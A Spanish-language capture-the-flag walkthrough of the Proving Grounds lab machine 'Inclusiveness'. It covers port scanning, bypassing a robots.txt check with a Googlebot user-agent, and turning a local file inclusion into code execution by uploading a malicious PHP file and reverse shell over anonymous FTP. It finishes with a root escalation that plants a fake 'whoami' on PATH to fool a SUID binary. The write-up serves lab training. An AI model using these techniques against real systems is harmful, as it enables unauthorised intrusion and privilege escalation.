🟢Inclusiveness

Write-up de la máquina Inclusiveness de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.196.14

La máquina objetivo tiene tres servicios abiertos (21,22 y 80). Vamos a realizar un escaneo profundo de estos servicios.

nmap -p21,22,80 -sVC -vvv 192.168.196.14

Servicios abiertos:

  • Puerto 21 -> FTP -> vsFTPd 3.0.3

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

Como información relevante, vemos que podemos iniciar sesión de manera anónima en el servidor FTP.

FTP

Conociendo la información recibida de NMAP, podemos comenzar viendo el contenido del servidor FTP.

ftp 192.168.196.14

Solo podemos acceder a un directorio que no contiene información de interés. Puede ser útil más adelante.

Enumeración Web

Otro puerto importante que se encuentra abierto en la máquina objetivo es el 80. Vamos a inspeccionar su contenido.

Seguimos con la enumeración de directorios.

dirsearch -u "192.168.196.14" -i200,301 -t 30

Lo que llama más la atención es la cantidad de archivos "robots.txt" que tiene esta aplicación Web. Vamos a ver el contenido de estos archivos.

Todos devuelven el mismo contenido. Este archivo detecta nuestro user-agent y por tanto, que no somos un buscador. Podemos crear un user-agent que nos permita saltar esta restricción. En nuestro caso, vamos a utilziar el bot que usa Google para indexar los directorios registrados por los sitios Web en sus respectivos "robots.txt".

Para ello, vamos a utilizar la herramienta "curl".

curl -s --user-agent Googlebot http://192.168.196.14/robots.txt -v

Obtenemos el contenido del archivo "robots.txt". Vamos a inspeccionar el contenido en el navegador.

Llegamos a una página donde nos explican el ataque de transferencia de zona DNS.

Al clicar sobre uno de los idiomas, vemos que el archivo se carga en una variable. Vamos a probar si existe una vulnerabilidad de "local file inclusion", LFI.

El sitio Web tiene una vulnerabilidad de LFI.

Explotación

Como vimos en el escaneo de servicios inicial, tenemos un servidor FTP en el puerto 21 cuyo inicio de sesión es anónimo. Vamos a crear un archivo PHP malicioso y a cargarlo en el servidor FTP.

Ahora nos vamos al navegador a ejecutar el archivo cargado.

Hemos pasado de LFI a RCE. Vamos a aprovechar esto para cargar una reverse shell maliciosa en PHP. El proceso de carga es igual que el archivo anterior. Además debemos poner a la escucha un oyente nc en el puerto seleccionado en la reverse shell.

nc -lnvp 1337

Ya tenemos conexión en la máquina objetivo como www-data. El siguiente paso será buscar la flag local.txt.

 find / -name local.txt

Elevación de privilegios

Al revisar el directorio del usuario /home/tom, encontramos un archivo rootshell.c y un archivo de compilación rootshell que posee permisos SUID.

Vamos a ver el código fuente de esta aplicación

Según el código, se ejecutará whoami y verificará si el usuario actual es "tom". En caso afirmativo, escalará el privilegio al privilegio más alto. Por el contrario, en caso de no ser "tom", solo imprimirá el ID de usuario del usuario actual.

Creamos un archivo whoami en el directorio /tmp y damos permisos de ejecución.

echo "printf "tom"" > whoami 
chmod +x whoami

Cambiamos el directorio /tmp de la ruta del sistema de destino, y verificamos que el cambio se ha realizado correctamente.

export PATH=/tmp:$PATH
echo $PATH

Ejecutamos "rootshell"

 cd /home/tom
 ./rootshell

Después de ejecutar "rootshell", obtenemos acceso a la máquina como usuario "root". Solo quedará buscar la flag para completar este CTF.

Last updated